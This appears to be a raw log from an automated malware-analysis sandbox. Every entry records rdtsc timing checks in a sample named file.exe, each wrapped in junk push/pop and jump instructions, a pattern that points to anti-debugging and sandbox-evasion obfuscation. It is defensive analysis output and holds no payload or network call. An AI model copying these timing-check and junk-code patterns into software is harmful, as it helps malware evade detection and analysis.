Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A1AB second address: 37A1AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A1AF second address: 37A1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C7F82 second address: 3C7F99 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3100E5D172h 0x00000008 jmp 00007F3100E5D16Ch 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33F4B1 second address: 33F4B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33F4B5 second address: 33F4CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D16Ch 0x00000007 jno 00007F3100E5D166h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33F4CB second address: 33F4E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA300Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F3100FA3018h 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CB499 second address: 3CB49F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CB49F second address: 3CB4A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CB4A9 second address: 3CB4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3100E5D16Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CB600 second address: 3CB60A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CB60A second address: 3CB627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3100E5D174h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CB627 second address: 3CB62B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CBCC5 second address: 3CBCCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CBCCD second address: 3CBCD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CBCD3 second address: 3CBCD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CBCD7 second address: 3CBCDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CF736 second address: 3CF73C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6028 second address: 3D6034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F3100FA3006h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6034 second address: 3D6038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6038 second address: 3D6050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F3100FA3008h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6050 second address: 3D6054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6054 second address: 3D605A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D605A second address: 3D6062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6062 second address: 3D6066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D663D second address: 3D6642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6642 second address: 3D664A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D664A second address: 3D664E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D664E second address: 3D6689 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA300Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007F3100FA3011h 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3100FA300Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6689 second address: 3D669F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3100E5D170h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6BD9 second address: 3D6C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F3100FA3019h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop esi 0x0000000f pushad 0x00000010 jg 00007F3100FA3008h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6E9D second address: 3D6EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D73E5 second address: 3D73EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D73EB second address: 3D73EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D73EF second address: 3D73F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D73F8 second address: 3D73FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D73FE second address: 3D740B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F3100FA3006h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D79DC second address: 3D79E8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3100E5D166h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DBE16 second address: 3DBE1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DBE1A second address: 3DBE44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3100E5D177h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e ja 00007F3100E5D166h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DAFED second address: 3DB002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F3100FA300Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DB72D second address: 3DB731 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DB8B2 second address: 3DB8B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 342ADA second address: 342ADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 342ADE second address: 342B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3100FA3006h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F3100FA3020h 0x00000012 jmp 00007F3100FA3014h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E6D60 second address: 3E6D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E6D64 second address: 3E6DBE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3100FA3006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F3100FA3014h 0x00000010 jmp 00007F3100FA300Eh 0x00000015 jmp 00007F3100FA3013h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d ja 00007F3100FA3015h 0x00000023 jmp 00007F3100FA3011h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E79BF second address: 3E79D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D170h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC11C second address: 3EC13E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnc 00007F3100FA3006h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F3100FA3016h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F0DDA second address: 3F0DE3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FBF10 second address: 3FBF1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F3100FA3006h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400761 second address: 40076A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40076A second address: 400770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4001CD second address: 4001DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 popad 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400342 second address: 40035B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA300Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F3100FA3006h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40035B second address: 40035F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4029F4 second address: 402A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3100FA3013h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3100FA3016h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 402A24 second address: 402A28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 402A28 second address: 402A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4058CC second address: 4058F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3100E5D166h 0x0000000a popad 0x0000000b jmp 00007F3100E5D16Fh 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 pop eax 0x00000015 jc 00007F3100E5D166h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4058F6 second address: 4058FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4133EB second address: 413405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F3100E5D172h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 413405 second address: 413411 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3100FA3006h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414D44 second address: 414D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414D49 second address: 414D99 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3100FA3008h 0x00000008 jmp 00007F3100FA300Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F3100FA3015h 0x00000017 jg 00007F3100FA3006h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F3100FA3010h 0x00000025 js 00007F3100FA3006h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414D99 second address: 414D9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41D435 second address: 41D439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41D439 second address: 41D444 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41D591 second address: 41D595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41D595 second address: 41D599 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41D599 second address: 41D5CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F3100FA3012h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3100FA3012h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41D5CF second address: 41D5ED instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 ja 00007F3100E5D166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 pop eax 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jng 00007F3100E5D166h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41E5DA second address: 41E5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 425ED2 second address: 425EDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F3100E5D166h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 437005 second address: 437038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3100FA3006h 0x0000000a popad 0x0000000b jbe 00007F3100FA3028h 0x00000011 jmp 00007F3100FA3010h 0x00000016 jmp 00007F3100FA3012h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 436E6D second address: 436E9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3100E5D166h 0x0000000a popad 0x0000000b jp 00007F3100E5D182h 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 436E9F second address: 436EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3100FA3006h 0x0000000a popad 0x0000000b jmp 00007F3100FA3012h 0x00000010 popad 0x00000011 push edx 0x00000012 jbe 00007F3100FA3008h 0x00000018 pushad 0x00000019 popad 0x0000001a push esi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4455C5 second address: 4455FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 jmp 00007F3100E5D16Eh 0x0000000c jmp 00007F3100E5D174h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007F3100E5D16Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4455FB second address: 4455FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4455FF second address: 44560E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F3100E5D166h 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44560E second address: 445633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F3100FA3006h 0x0000000d jmp 00007F3100FA3018h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 445633 second address: 445637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44578C second address: 4457AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3100FA3018h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45D7CA second address: 45D7D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45D924 second address: 45D928 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45D928 second address: 45D92E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45DA74 second address: 45DA78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45DA78 second address: 45DAA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D16Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F3100E5D17Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45DAA9 second address: 45DAAE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45DFCA second address: 45DFCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45E50E second address: 45E53D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007F3100FA3006h 0x00000013 popad 0x00000014 push eax 0x00000015 jc 00007F3100FA3006h 0x0000001b pop eax 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F3100FA300Ch 0x00000024 push eax 0x00000025 pushad 0x00000026 popad 0x00000027 pop eax 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46436B second address: 464391 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3100E5D180h 0x00000008 jmp 00007F3100E5D178h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464391 second address: 46439B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3100FA3006h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 466F8A second address: 466F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 466F8E second address: 466FA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA300Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 466FA0 second address: 466FB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100E5D16Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 466FB3 second address: 466FB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46724A second address: 46724E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46724E second address: 467252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 468C00 second address: 468C06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 468C06 second address: 468C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 468C0C second address: 468C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
